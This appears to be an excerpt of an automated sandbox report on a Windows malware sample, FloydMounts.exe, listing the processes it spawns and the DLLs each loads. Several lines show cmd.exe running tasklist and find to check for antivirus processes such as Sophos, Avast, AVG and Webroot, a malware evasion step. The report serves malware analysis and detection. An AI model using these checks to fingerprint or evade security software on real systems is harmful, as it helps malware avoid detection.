Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH \| find /I "sophoshealth.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Process created: C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe "C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"

Source: C:\Users\user\Desktop\FloydMounts.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\FloydMounts.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\174436\Produces.com	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
